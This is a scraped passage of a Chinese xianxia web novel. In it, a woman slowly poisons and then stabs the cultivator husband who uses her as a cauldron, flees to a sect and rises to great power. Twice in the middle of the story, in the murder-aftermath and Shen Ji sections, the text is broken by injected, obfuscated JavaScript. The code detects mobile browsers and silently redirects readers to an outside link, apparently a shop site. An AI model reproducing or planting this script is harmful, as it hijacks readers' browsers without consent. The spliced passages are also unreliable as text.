《误杀恋爱脑夫君后》 1. 杀念 素遂心往身上各处涂了薄薄的一层毒。 此毒涂在皮肤上没什么,吃下去才要命。 为她制毒的人信誓旦旦,这是元婴以上的大能加以顶级功法炼制,无色无味,每次只涂少许,连化神期老怪都不会起疑,日积月累,筑基也能干翻元婴。 化神大能起不起疑她不知道,但对付曲存真她肯定是要慎之又慎的。 他心思缜密,鲜少有放下戒备的时候,因此对他下毒的时机便要十分巧妙。 她涂得仔细,颈侧、手腕内侧、耳后、锁骨窝以及再往下那些曲存真双修时喜欢亲吻的地方都要涂,不漏过任何一处。 今夜他又要来。 她坐在窗前等,手里把玩着短剑。 剑只有半臂长,是曲存真送的。 剑柄处镶一颗椭圆形的白色石头,十分温润的材质,触手生暖。 石头上鬼画符似的刻两个弯弯曲曲的篆字,她只认得其中一个,简单,是个“一”字,另一个复杂难辨,是什么她才懒得琢磨。 不过又一件在他餍足之后随手赏她这个炉鼎的玩意罢了,她在心里冷笑一声。 曲存真生得一副清雅脱尘的模样,秀挺的鼻梁,薄薄的唇,看人时眼神清冷,如隔着一笼纱亦或一层雾,却是人模狗样,衣冠禽兽。 素遂心表面上敬他,行为上敷衍他,心里从来都是叫他曲老狗的。 一百多岁的元婴老怪,欲念深重,隔三差五来她房中逼迫她双修。二人虽顶了个夫妻的名头,她对他而言却不过炉鼎一个,或用于玩弄或用于练功。 毕竟每次双修,她辛苦积攒的修为都会被他夺走大半。 她一心向道,日日勤勉刻苦,十年过去,她从筑基初期到筑基大圆满,又从筑基大圆满跌回筑基初期,起起落落,永无宁日。 旁人筑基后稳步进阶,唯有她,被困在原地,甚至不进反退。 恨。 锥心刺骨。 惟有他死方可消解。 ~ 连续几日的风雪,今日天终于放晴。黄昏时分,残阳如血,将漫山遍野的白雪染成红雪。 素遂心坐在窗前,听见门外传来熟悉的脚步声,不疾不徐,轻重均匀,是曲存真的脚步声。 她即刻起身,将短剑往枕头底下一塞,脸上瞬间换上温顺的笑意。 门推开,曲存真站在暮色里。 他今日穿一身霜白雾蓝两色的道袍,立在门口,身量颀长,几乎将光全部挡在身后。 “您来了。” 她带着虚假的笑迎上前,随即看到他的眉头略微攒拢。 他曾暗示过几次,想听她唤他别的,他觉得“您”这个称呼过于正式,生分得很,他想她叫得随便些,亲近些。 想听她叫什么? 夫君?还是哥哥? 他配么?她没叫他狗东西已经很不错了。 曲存真走进来,在榻上坐下。她便去倒茶,动作熟稔,茶盏递到他手边时,指尖不经意地擦过他的手背。 蹭点毒给他也好的,她想。 曲存真接过茶盏,却没有喝,只是握在手里,指尖摩挲着盏沿,看着她,“今日去了青云问道会。” 素遂心垂着眼,做出认真听的样子,心里却在盘算,他今日回来得比往常晚,神色也略有些不同,莫不是察觉到了什么? “主持了一日比试,新秀不少。有个筑基后期的丫头,一手剑法倒是伶俐,连胜三场,满堂喝彩。” 她抬起眼,露出恰到好处的惊讶:“哦?这般厉害?” “嗯。她与你同岁,问道筑基不过五年。” 素遂心握着茶壶的手微微一紧。筑基五年便到筑基后期,问道会连胜三场,满堂喝彩。 而她,十七岁筑基,天赋不输任何人,却被他困在这方寸院落,沦为他的炉鼎,十年光阴,修为不进反退。 她端起茶盏抿了一口,把翻起的情绪和着茶水一道咽下,面上依旧是温顺的模样。 “还有几个也不错的。有个炼器的少年,炼出一柄飞剑,能引动九天雷火。还有个炼丹的小丫头,炼出一炉中品丹,丹成之时,满场丹香。” 曲存真一壁说着,一壁从袖中取出一只长条形的盒子,放在她面前,“给你的。” 素遂心打开,里面是一支簪子。莹白的簪杆,簪头是一朵绽开的千瓣莲,花瓣层层叠叠,似是以千年灵玉雕刻而成,一看便知价值不菲。 又是千瓣莲。 这样的饰物,他送过她许多,各种各样的千瓣莲,头花、耳珰、吊坠……甚是无趣。 她从未戴过,都被她随意丢在妆盒角落,只在他面前,才会装作珍视的样子。 她拈起来看了看。花里胡哨,华而不实,没什么*用,不露声色在心里给这支簪子打了三个标签。 “好看!您眼光独到,我真喜欢。”她抬头对着他笑,有心说了句暧昧不清的话。 是真喜欢眼光独到的礼物,还是有着独到眼光的他,看他怎么理解。 怎么理解,狗男人都会被取悦,他就喜欢含蓄、闷骚的那一套。 果然,他唇角浅浅上扬,眼底的清冷散去几分,满意道:“你喜欢就好。” 素遂心低下头,把簪子收回盒子里,心里想的是,簪子好像也能杀人。 “明日还有比试。”曲存真端起茶盏,终于喝了一口,“那几个新秀都要上场,你想去看吗?” 她摇摇头:“我修为浅薄,去了也看不懂的。” 问道十年还是筑基初期的废物,去做什么?自取其辱么? “不可妄自菲薄。你修炼自是刻苦,我知道。” 刻苦有什么用?她再刻苦,攒下的修为还不是被他夺走? 起起落落,来来回回。罕见天灵根,十七岁筑基,不出十年必能结金丹,她本也可以耀眼瞩目。 十年过去,她如今二十七岁整,却还在筑基初期徘徊。那些新秀,二十七岁筑基后期,连胜三场,满堂喝彩。 要不是他—— 不能再想,再想下去,便要忍不住了。她把那半截念头掐断,硬生生换上笑脸。 “您今日辛苦,”她起身,走到他身后,抬手替他按揉肩膀,“主持一日比试,定是乏了。” 他微微侧过头,看了她一眼,目光落在她脸上,似乎想说什么,最后他只是“嗯”了一声,肩膀却微微放松下来,显然是真的有些疲惫。 她的手按在他肩上,力道恰到好处。 指尖下,隔着轻薄衣料的肌肉微微绷着,不像他面上那般平淡,倒像是藏着什么心事。 她低下头注视他的后颈,要是能一把掐死他就好了,下毒还是太麻烦,太慢。 不过想想罢了,她虽然急着对付他,但该有的耐心并不少。五年筹谋,只差最后一步,她不能功亏一篑。 她看着他的后颈处,心里默默地算着日子。五年,差不多了。 窗外的残阳终于沉了下去,暮色四合,房内渐渐暗下来。 曲存真忽然抬手,覆上她按在他肩上的手。 他的手大而长,骨节分明,掌下热气烘烘。 “观观。” 他低声叫她,带着一丝不易察觉的沙哑。 她应他一声,指尖微微发僵,生怕他察觉到什么。 他沉默了稍许,松开手,“没什么,还是歇息吧。” 素遂心看着他的背影,脸上挂着的笑凝固,眼里浮上冷意。 歇息,便是又该双修了。 她把手收回来,垂在身侧,指尖蜷起。 她身上就连筑基初期的修为都已所剩无几,他是要让她跌到炼气? 那可真是奇耻大辱。 曲存真忽然转过身,“簪子……不戴上试试?” 她愣了一下,随即笑起来:“好。”顺着他的心意,才能让他彻底放下戒备。 她取出簪子,斜插进发髻。千瓣莲顶在头上,明明再轻盈不过,她却觉得脑袋沉甸甸。 她知道他打的什么主意,行房之时,她身上若是戴了他送的饰物,他总是兴致更高昂。 这个道貌岸然的狗东西。 “好看吗?”她仰起脸问他,有些刻意的娇羞。 他的目光凝停在她脸上许久,久到她脸上的笑都快挂不住了,久到她以为他察觉到了什么,他才开口,“好看。”声音温柔得很,眼底藏着一丝少见的灼热。 素遂心笑着垂下眼,没看见他眼底浮动的惊艳与情愫。 她无暇顾及,她只知道簪子很重,压得她头皮发麻。 她站在床边,背对曲存真,手指搭在衣襟上。 往常这时候,他会 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他看着她愣怔的样子,嘴角轻轻上扬,松开她的手腕,示意她在对面坐下。 素遂心依言盘膝坐下,和他面对面。这是要先双修的意思? 曲存真盘膝而坐,脊背挺直,中衣的领口松松地敞着,露出一截白皙锁骨,“今日先双修。” 她等着他说下去。他却没有,只是看着她,嘴角那一点弧度还在,并且有些压不住的感觉。 他很高兴么?往常他再高兴,也不会把情绪露在脸上。可他今天,高兴得未免有些显山露水了。 为什么?她垂下眼,心里那点疑惑冷下去,变成冷硬的一团。 那么多次,也不多这一次,反正不会再有下次。 “好。”她应了一声,声音压得软软的。 曲存真伸出手,双掌与她相抵。 他的掌心温热,灵力从他体内涌出,渡入她经脉之中,沿着周天缓缓流转,然后裹挟着她的修为,流回他体内。 她闭着眼感受着自己的修为一点一点流失,和往常一样,又不太一样。 这次双修结束,她的筑基修为便会真正一点都不剩。 房内静极了,她忽然想起一件事。他刚才说先双修,那就是说,之后他还有别的事。 她想起他嘴角那一点弧度,想起他看着她的目光,想起他说“今日”两个字时的语气。 他好像真的很高兴。 他就快要突破了吧?元婴大圆满,甚至半步化神?或者他找到了更好的炉鼎,终于可以把她这个用了十年的旧炉鼎扔掉了? 她的手一紧,指甲深深掐进掌心,借着那点刺痛,稳住自己的情绪,不让杀意泄露。 不管他要做什么,都来不及了。 曲存真似乎察觉到她情绪的波动,掌心的灵力顿了顿,“观观?” 她没睁眼,冷静掩饰,“没事,我忽然有点冷。” 他沉默一瞬,灵力继续流转,比刚才柔和一些,同时掌中流出涓涓热流。 不知道过去多久,曲存真掌心的灵力渐渐收拢,最后一切归于平静。 结束了。 他缓缓睁开眼,呼出一口气,眼底似乎有释然,也有期待,“观观。” 她抬起眼看他,脸上依旧是温顺的笑意。 “我有话要对你说。”声音里带着郑重,似是要宣布什么重要的事。 她却笑着摇了摇头,猜到他要说什么,谁要听他的鬼话,“藏舟哥哥——”她叫他,尾音拖长,声音竟是异常甜软。 藏舟是他的字,这是她第一次这么叫他,也是最后一次。 他怔愣一下,有些不敢置信地看着她。 她没给他反应的时间,下一瞬倾身向前,一只手搭在他腰上,整个人偎进他怀里,另一只手的食指覆上他的唇轻轻按压,在他惊喜的目光中,用自己的唇代替了手指。 他的唇和他的手掌一样热。她贴上去的时候,感觉到他整个人都僵住了。 自成亲以来,在床榻上她从未主动过。 她闭上眼,心里却在想—— 狗东西,结束? 那是你。 我这里才刚开始。 2. 丧钟 曲存真僵直着,呼吸似乎也滞住。 素遂心后移,稍稍与他拉开一些距离。 他便立刻追随而来,像一条循着香味不放的狗,平日里的清冷自持都荡然无存。 他教她养她二十年,占有她十年。 她起初敬畏他,然后惧怕,再后来便只剩下了恨,恨到将自己变作一个虚假的人偶,在他面前装乖卖巧,他想要什么,她便给他什么,他想如何摆弄,她都配合。 但只是配合。 他大概从未想过,她会有主动的一天。 “观观……” 他在这种时候喜欢不断叫她的乳名,尾音轻轻发颤,带着几分隐约的温柔。 但她不喜欢听。 这两个字是从出生就跟随她的,完完全全属于她自己的东西,从他嘴里叫出来,便好像也变成了他的。 她不给他机会说话,舌尖慢慢探进去,缠绵轻扫一遍他的齿关,刻意引诱他沉沦。 曲存真浑身一颤,下一瞬,猛地把她扣进怀里,一手掌紧她的腰,力道大得像是要将她捏碎,一手托住她的头,指腹轻轻摩挲着她的发顶。 他不再是方才被动、僵硬、道貌岸然的他,他的吻逐渐变得暴力,如围困太久终于寻到出口的江潮,汹涌、贪婪、肆虐着将她吞没。 素遂心闭上眼,把一切恶毒的念头藏在眼底,甚至主动迎合,放任、引诱他去亲吻。 他的唇从她唇上移走,挪到她的嘴角、脸颊、耳垂,灼热的气息不断喷洒在她脸上。 他往下,又来到她的颈侧、颈后。 她感觉到他的唇舌寸寸掠过那一片,是他最偏爱亲吻的地方。 她一边厌恶,一边又希望他继续,再久些、细致些,不要漏掉任何一处才好。 把全部的毒都吃下去。 他的吻如她所愿地继续下游,在她的锁骨上流连,将毒一点点舔舐入口…… 他的呼吸渐重渐急,双臂收紧再收紧,像是要把她揉进骨血,变作他的一部分。 “观观,我的观观……”他醉着嗓子沉溺地唤她,“你再叫,再叫我一声藏舟哥哥……” 她懒得应。 他的手辗转上移,寻寻觅觅穿过她的发,捧住她的头和颈,吻回她的唇,声音闷闷地从两人交缠的唇齿间断续透出,“有个……好消息要告诉你……” 她平静地睁开眼,冷漠地凝视他,将他轻轻推开一些。 他的毒可能已经开始发作,气息比刚才乱了几分,只是他沉浸在她的主动里,未曾察觉。 他的眼睛闭着,睫毛微微颤动,双唇在动,像是还想说什么,却忽然眉头皱了一下,下一刻又将她抱紧,力道却比刚才虚浮许多。 但不过片刻,她感觉到他扣在她腰后的手力道骤然松懈,他陡然跌坐下去,呼吸变得紊乱,像是有什么东西正在他体内狂乱奔突。 素遂心一瞬不瞬观察他,连呼吸都放轻,见他如此模样,明白是毒在发作。 今晚的毒是引子,他方才萌动燎原的情也是引子,两个引子一齐生效,将五年累积的毒从身体最深处唤醒,引燃,如同烟花一般在他体内绽放。 筑基确实能干翻元婴,只要时间够久,药够多,下药的人足够耐心,被药的人卸下防备。 曲存真的眉头越发紧皱,呼吸如乱流,额头上渗出细密的汗,却还一味朝她贴近,屈身将额头抵在她肩上艰难压制,“观观……”他的声音已是沙哑不堪,痛苦难以言喻。 素遂心将手从他腰间收回,探向枕头底下,指尖碰到得一剑,猛地抽出。 她抬起手,寒白兵刃在昏暗的灯光下泛着冰冷的银光。 曲存真似乎察觉到什么,迷瞪瞪抬起头看向她。 她的手握紧剑柄,快且狠地径直往前送去。 曲存真眼中还残留着方才的意乱情迷,目光从她的脸飘落到她的手上,惊讶又迷茫。 她手中是得一剑。 但此刻他在她的手中只看得见剑柄,因为剑身已全部没入他的胸膛,刺穿他的灵台。 素遂心感到一阵耳鸣,心狂跳不止。她穿透了曲存真的灵台,他的身体活不了了。 但还不够。 他是元婴修士,元婴是他的第二条命,只要元婴遁出身体,他就死不了,甚至能借元婴重生,卷土重来。 她早有准备,毅然单手结下缚阵,将他灵台中的元婴困死在这具濒死的身体中。 做完这些,她下意识想拔剑,拔到一半却被他扼住手腕,拔出的剑刃带出如注的血流,床帏间霎时被浓郁的血腥味充满。 他的力气大得惊人,明明胸口插着一柄剑,他却像感觉不到似的,只是死死盯着她。 素遂心不回避,红了眼看着他的眼睛。 渐渐的,他眼中最后一丝意乱情迷也散了,露出底下的情绪。 出乎她意料的是,他的眼底并无愤怒,甚至没有一丝被背叛后的惊骇与凶狠。 他眼中全是茫然,他的眼神在问:为什么? “你要杀我?”他的语气里没有质问,没有谴责,只有不解以及悲凉。 竟然有脸问为什么?她已经没有必要再掩藏,深埋多年的恨意与厌烦浮上水面,透过双眼传递给他。 她张了张嘴,想说,你拿我当炉鼎,我凭什么不能杀你?你玩弄我十年,吸我十年修为,我忍你十年,不想忍了。你虚伪,贪婪,人模狗样,我恨你入骨,恨不能将你碎尸万段…… 可她什么都没说出口,因为他的血顺着剑身淌下,漫过她握剑的手,她的手便如同被熔岩灼烫,泛起炽热难耐的痛,疼得差点握不住剑。 好在他很快也没什么力气了。此刻,他气息奄奄,不再挣扎,一双眼睛颓然悲凉地看着她。 但很快他便目光涣散,眼底的茫然被空洞取代,手从她手腕上滑落,头微微歪向一边,没了气息。 素遂心跪坐原处,手中还死死握着那柄剑,看着曲存真的身体缓缓倒下,化作点点灰烟消散而去。 阔大的床顷刻间便只剩下她和满褥子的血。 这世间,从此再没有曲存真了。 ~ 远处传来一声钟响,隐隐的像一声闷雷。 素遂心跪坐在血泊中,一时没反应过来钟声意味着什么。她在曲家二十年,从未听过这样的钟声。 第二声。 第三声。 钟声接连而来,一声比一声沉郁、急促,在空旷的夜里回荡,带着撕心裂肺的沉重。 她扭头看向西南山巅钟响之处——曲家祖祠。 曲存真曾对她说过,曲家祠堂供奉着历代家主、长老以及重要人物的魂灯。灯在人在,灯灭人亡。 每逢家主与长老灯灭,钟声便会响起。十岁一声,直至敲到与陨落者年岁相同的数目为止,以此告知全族,有重要族人陨落。 她来到曲家之后,曲家一直安稳,从未有过钟声响起。 此刻响起的是曲存真的丧钟。 他一百二十七岁,那便应是一十三声。 曲家长老之中,属他最为年轻,修为最高,十三声钟响过后,曲家上下便都会知道,是他们的存真长老陨落了。 素遂心的手指猛地收紧。 钟声还在继续。 四声,五声,六声。 …… 钟声在空旷的夜里回荡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走近一步,目光落在簪子的千瓣莲上头,仔细端详。月光下,每一瓣莲都泛着莹光。 “曲存真给你的?” 她却将千瓣莲簪取下,随手放入储物袋。 “不关你的事。你是不是没有正事可做?” 沈既被她几次三番刺得火起,不由得反唇相讥。 “对一个炉鼎,曲存真倒是大方。” 这两个字向来是素遂心的痛脚,但此刻她听了却没什么反应。 沈既有些奇怪,却也不甚在意,只道:“走吧。” “魂灯灭,钟声响,曲家人现在应该已经搜完你的屋子了。以他们的速度,天亮之前能找到这里,到时候你就算插翅也难飞。” 失去一位元婴长老,对于任何修仙世家或者宗门都是塌天的大事,不可能善罢甘休,何况曲存真之于曲家并不仅仅是长老那么简单,他是曲家的顶梁柱,也是如今曲家战斗力最强的人。 弑杀这样的人物,如若没有实力与之相当的宗门或世家庇护,素遂心活不过一个月。 素遂心抬头看了看月亮。 “你带路吧。” 沈既从袖中取出一枚隐匿符,扔给她,“先敛了你身上的气息。” 说完,他转身往东走去,脚步轻快,“跟紧了。你现在是炼气,我不会等你。” 十年的修为,在今夜散尽,她现在确实只有炼气大圆满。 不过,那又如何。 她还活着。 3. 师妹 素遂心随沈既踏入闲远宗时,天色将明未明。 山门在晨雾里若隐若现,她跟着沈既的脚步往里走,周身还残留着未散尽的血腥味与寒气。 宗内弟子见了沈既,纷纷侧身行礼让路,神色恭敬,可他们的目光却忍不住往素遂心身上飘。 一个满身血污的女子,头发乱糟糟,修为低得随便哪个弟子都能探得出——不过炼气。 沈师兄多么骄傲的一个人,向来眼高于顶,竟甘愿为一个不知道哪里来的小小炼气带路,真是稀奇。 那炼气女子的一张脸倒是生得少见的出色,即便狼狈也难掩清绝底色,但沈师兄也不是个好女色的人,断不至于为了一张脸如此破例。 素遂心自然感觉到了那些探究、轻视的目光,但她不在意。 沈既没理会弟子们的窃窃私语,径直把她带到一座僻静的山峰,推开峰顶的殿门,又领着她入内。 “师尊。”沈既收敛语气。 殿内光线昏暗,前方蒲团上坐着一人,背对着门,身影格外清瘦。听见声音,他缓缓转过身。 是个老者,须发皆白,面容清癯。 他的目光落在素遂心身上,从上到下扫了一遍,没有半分轻视,最后停在她脸上。 素遂心多年前陪同曲存真前往闲远宗时曾远远地见过老者一面,他是闲远宗的太上长老,名号静霄子。 沈既虽未与她明说,但她心里一直都很清楚,若没有这位太上长老暗中相助,仅凭他们二人,是断不能动曲存真这尊元婴大能的。 各取所需,都不是什么好人。 静霄子问沈既:“可是成了?” 沈既上前一步,“是,曲家的钟响了十三下,曲存真绝无生机。” 静霄子点了点头:“如此,曲家恐怕要大乱了。谁又能想到,曲家的千里之堤竟一日毁于……你们这两只小蚁。” 他顿了顿又道:“既然把人带回来,她便入我门下吧。从今日起,她便是你的师妹。” 沈既仿佛遭了雷劈,猛地看向静霄子,“师尊?” 他从未想过师尊会如此安排。要信守承诺庇护于她,办法多的是,可收她为徒?师尊两百多岁,这一生只收了他一个徒弟,闲远宗上下谁不知道,能拜入静霄子门下,是多少修士求都求不来的机缘。 静霄子没有看他,而是看着素遂心,等着她的回答。 素遂心心中同样震惊,但没有表露出来。 沈既看着她那张没有任何波动的脸,只觉得异常可笑。 她到底知不知道自己获得的是什么?一个炼气期的弃徒,能得太上长老亲口收徒,别说下跪谢恩,就连一句真切的欢喜都没有,简直毫无自知之明。 他等着看她什么时候反应过来,可等到的却只是一声平淡的“谢过师尊”。 她就那么直直地站在那里,没有大礼,仿佛拜入师尊门下与当初在曲家没有区别。 改口倒是改得快!沈既几乎要笑出来,真是蠢得无可救药。 静霄子却丝毫不在意她的无礼,只是点了点头,语气依旧平和,“去吧,沈既会安排你住下,日后修炼上有什么不懂的,可来问我,也可问你师兄。” 素遂心没有多言,转身便往殿外走去,很快就看不见。 沈既站在原地,看着她背影消失的地方,感觉憋得慌。 “如此大逆不道,目无尊长,您是真看不见?我看您对她比对我好,好得太多!师尊,她有什么好,您真要收她为徒?” 静霄子微微勾了勾唇,“有什么问题?” 沈既走到一旁蒲团上负气坐下,“没问题!” 静霄子半闭着眼不说话。 沈既忽然嗤一声,“您看上她什么了?蠢货一个罢了。她有一支簪子,曲存真给的,做成千瓣莲的样子,层层莲瓣,每一瓣都是极品灵石。这么一朵,要我攒的话得攒个至少五十年,还是您对我不那么抠的情况下。” 静霄子挑了挑眉。 “她还不知道那簪子是什么宝贝。我暗示她的时候,她不过低头看了一眼,然后随手塞进了储物袋,连多瞧一眼都不肯。我才不会告诉她,那簪子光是第一层的莲瓣,就能驱动咱们闲远宗的护山大阵三年。她只当是曲存真随手赏她个玩意儿,不识货的榆木脑袋!” 沈既嘴角讥讽的弧度微微加深,“曲存真养了她二十年,待她不算差,可就因为觉得自己被当作炉鼎,她就能伙同外人将他杀了。” 他转过头,看向依旧闭目养神的静霄子,“您看看,多黑心的丫头,蠢成这样,也就您和曲存真把她当个宝。” 静霄子睁开眼,“沈既,你在气些什么?杀了曲存真,你不高兴?” 沈既一怔,随即别过脸,“我是要杀他,却也不讨厌他。何况,我气的不是她杀了曲存真,是您这般偏心于她!” 静霄子轻轻摇了摇头,“你该感谢她,若没有她,你的局再高明也不可能杀得了曲存真。曲存真心思缜密,一生谨慎,她是他唯一的疏漏。” 静霄子正色,一锤定音:“我既已开口,她从今日起便是你的师妹。沈既,好好安排她的住处与修炼事宜,莫要怠慢。你去吧。” 又叫住沈既,“倒是你,也是时候将心思收起来一心一意修炼了,别到时候被你师妹压了去,才真是叫人生气难堪。” 沈既闻言都要气笑了,“师尊,您是不是忘了我的修为到哪个境界了?” 他一个金丹中期,会被炼气压?师尊要激他修炼,也不至于如此信口开河。 他没想到的是,静霄子并没有信口开河。并且,这一天来得比他想象中,还要快得多。 ~ 沈既第一次觉得事情不对劲,是在素遂心入门的第三个月。 那日他去藏经阁,远远看见一个纤细背影蹲在角落的书架前。炼气期的灵力波动,稀薄得几乎察觉不到。他本没在意,藏经阁常有低阶弟子来寻书,可等那背影站起身、转过身来,他才愣住。 是素遂心,她手里拿着一本《金丹凝元诀要》,书页已经翻开,指尖落在字迹上,神色专注,连他走近都未曾察觉。 “你在这里做什么?一个炼气期,看金丹期的功法能看出什么名堂?” 她抬眸淡扫了他一眼,像看到个陌生人,继续低头翻书。 他本想讥讽两句,却又懒得跟她一般见识。好心提点的话都听不出,日后修为没有进益也是活该。 半年后,一个消息传遍了闲远宗。 素遂心筑基了。 从炼气大圆满到筑基初期,她只用了半年。 宗内弟子们炸开了锅,个个都十分吃惊。半年筑基,这速度虽说不算逆天,却也委实有些快了,尤其是对于一个刚入门、根基看似薄弱的弟子而言。 沈既听到这个消息的时候心中毫无波澜,一年筑基又有什么稀奇,她不过是把十年前走过的路再走一遍,快些再正常不过。 他依旧没把素遂心放在眼里。 他也没想到,这只是开始。 五年后,一个重磅消息传来。 素遂心结丹了。 二十七岁筑基,三十二岁结丹。她只用了五年,便从炼气飙升至金丹,走完了旁人至少需要十几年甚至几十年才能走完的路。 沈既算了算自己,十六岁筑基,三十五岁结丹,用了十九年,已是闲远宗百年难遇的天才。 他忽然想起师尊五年前说的那句话:“别到时候被你师妹压了去。” 他当时觉得可笑,现在笑不出来。 一股从未有过的危机感,悄然爬上心头。 又过了二十多年,素遂心五十九岁,闲远宗彻底炸了锅。 她结婴了,五十九岁的元婴。 这个消息,不仅震惊了闲远宗,更传遍了整个修真界。 要知道,修真界历代元婴修士,大多是七八十岁,甚至上百岁才能结婴,五十九岁结婴,简直是闻所未闻、见所未见。 沈既此时八十一岁,尚在金丹大圆满。 他想起二十七年前,自己在师尊面前骂她是蠢货。 多可笑。 素遂心结婴后的第三年,闲远宗议事殿传来消息,宗门要新增一位长老。 议事殿内,素遂心一身霜白道袍站在长老们中间,头发只简单挽了个髻,随意插着一支普通的木簪,像孤峰之巅的一束雪光,一眼望去叫人睁不开眼。 沈既远远看着她,忽然发现她其实生得很好看,匀停瘦长,不是秾艳夺人心魄的那一类长相,而是像清冷透净的月辉。 长老们问她:“闲远宗立宗以来第一位女长老。素遂心,你可愿意?” 沈既只听得她平静地应了声“愿意”,语气和当年答应师尊入门时一样,不知好歹。 当天晚上,沈既一个人坐在洞府喝了一夜的酒。 她凭什么?就凭她是天灵根? 天灵根他见得多了,没一个如她这样。凭她勤奋?修真界谁不勤奋?却从未有谁能像她这般,一路势如破竹。 沈既端着酒杯,无端想起一个死去很久的人——曲存真,他知道么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500377|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈既拈着酒杯,对着素遂心洞府的方向遥遥举了举。 “恭喜啊,师妹。” 此后数十年,沈既亲眼看着素遂心脚步不停,一往直前,势不可挡。 元婴中期,她用了八年。 元婴后期,十二年。 元婴巅峰,十年。 元婴大圆满,又是十年。 她像一只不知疲倦只顾前飞的鸟,从不回头看一眼。 沈既渐渐明白,她这人是真的一心沉醉于修炼,世间所有的纷扰都与她无关。 反观自己,九十九岁那年他终于结婴,比师尊预言的晚了十几年。结婴之后他也从未懈怠,一路追赶,拼尽全力想要追上素遂心的脚步,可无论他如何努力,两人之间的差距,依旧越来越大。 等他好不容易达到元婴中期,她已经是元婴巅峰。等他突破到元婴后期,她早已踏入元婴大圆满,距离半步化神,只有一步之遥。 素遂心一百零三岁那年,踏入半步化神。 整个修真界为此震动。 一百零三岁的半步化神,太年轻了! 闲远宗也因此迎来最强盛的时代,一门两尊半步化神,静霄子与素遂心。其他宗门与世家,只能仰望,连攀比的念头都生不出来。 素遂心成为了整个修真界炙手可热的人物。 她依旧是那副样子,脸上没什么表情,话也不多,不大耐烦地应付着道贺的人。只不过,不会再有人觉得她不知好歹。 沈既看着众星捧月的一幕,眼中所见却渐渐有了区别—— 其他人皆如褪去颜色的灰暗旧画,只有她笔墨未干、色彩鲜艳,叫人只看一眼便知,从此以后她就是心头那抹见之难忘却又触不可及的月光。 所有人都以为,素遂心会顺顺当当化神飞升,包括沈既。 她那样道心坚定的人,没道理不飞升。 他甚至想过,等她飞升那日,自己要不要去送送,好歹同门一场,虽然她大概不会在意。 可他没有等到那一天。 素遂心跌倒在化神前的最后一关——问心。 消息传出来的时候,沈既正在洞府打坐。 传话的弟子语气慌张:“沈长老,不好了,素长老闭关突破化神失败,修为跌到了元婴巅峰!” 沈既猛地睁开眼,脸上满是难以置信,“跌了?” “是,问心失败,修为跌了一大截。” 他沉默半晌,摆摆手让人退下。 问心失败,那就是道心不稳。 这怎么可能? 素遂心是他见过道心最坚定的人。她一生所求便是修炼、变强,摆脱过去的枷锁。 大概是冲击化神太急了吧,沈既在心里安慰自己,半步化神问心失败,也不是没有过先例。 修整一段时间,重新来过便是。反正她多年之前就已经习惯了重来。她自己看上去也不急,他替她着什么急。 可他没想到,这依然只是开始。 十年后,素遂心再次闭关冲击化神,再次问心,再次失败。 这次跌得更狠,落到元婴中期。 沈既听到消息的时候,手里的茶盏差点没拿稳。 元婴中期? 从半步化神跌到元婴中期? 她这是怎么问的心? 可他看素遂心还是八风不动的样子,她依旧按时打坐、修炼,依旧闭门不出,就这样又过了二十年。 勤勤恳恳,第三次问心。 还是失败,跌至元婴初期。 这次,沈既彻底坐不住,转身去了静霄子那里,“师尊,她到底怎么回事?” “连续三次问心失败,从半步化神跌到元婴初期,再跌就跌破元婴了!”他的声音忍不住提高,“师尊,您就不管管?” “你何时如此关心起你的师妹了?”静霄子若有所思地睨他一眼。 沈既被师尊一句话噎住。 静霄子老神在在:“她都不急,你急什么?她若是急了,自会前来。不来自是不急,你不必瞎操心。” 沈既张了张嘴,却不知该如何反驳。 师尊说的没错,素遂心性子执拗,若是她真的走投无路,绝不会坐以待毙,自会前来求师尊指点。可她没有,说明她还能撑得住。 沈既耐着性子观望了三天。 三天后,弟子来报:素长老去了太上长老那里。 沈既悬了三天的心,终于彻底放了下来。 她终于急了。 原来,她也是会急的。 4. 问心 其实,便是素遂心自己也不太想得明白,她的修炼之途为何如此畅快。 入门半年筑基,五年结丹,五十九岁结婴。 这速度放到整个修真界,也是令人咂舌的。旁人苦修数十年难有寸进,她却如乘长风。 想不明白,她也就不再多想,她从来不是一个将精力花在无关紧要处的人,没什么能够干扰她的修炼。 但有一点她心里是肯定的,这些年,当初曲存真送的那支簪子于她有莫大的用处。 千瓣莲的发现是个意外。 入门第三年,她还在筑基期。那时她修为初成,灵力微薄,常为捉襟见肘的灵力赶不上修炼的进度而苦恼。 一日深夜,她打坐修炼时,灵台忽然传来一阵温热,驱散了周身的滞涩感。 睁开眼,循着暖意探入储物袋,发现是那支被她随手丢弃在角落的千瓣莲簪。 它正静静躺在储物袋中发光。 她将簪子取出,神识探入其中,然后愣住了。 海量的灵力与修为从那朵小小的莲花里涌出来,精纯、温和、源源不断,与她自身的灵根属性完全匹配,像是为她量身定做。 从那以后,千瓣莲簪便成了她修炼时不可或缺的东西。 一直到结婴成功,千瓣莲才终于黯淡下去,变得与普通簪子别无二致。 她把它收进储物袋,从此再没拿出来过。 可她也清楚,自己能如此之快地结婴,不仅仅是因为有这支簪子,一定还有别的原因是她不知道的,只不过她暂时还不清楚,她也懒得深究。 曲存真死后,曲家曾寻来闲远宗几次,妄图寻她报仇。 第一次是她入门后的第二年。 那时她还在筑基期,曲家来人,要掌门交出杀害五长老的凶手。 当时,掌门面对曲家的施压,已有几分松动,但被静霄子拦住了。 静霄子甚至都没有将此事知会过她。 她不知道宗门是怎么应对的,只知道那次之后,曲家再也没能踏进闲远宗一步。 后来,曲家又来闹过几次,但也都被静霄子挡了回去。 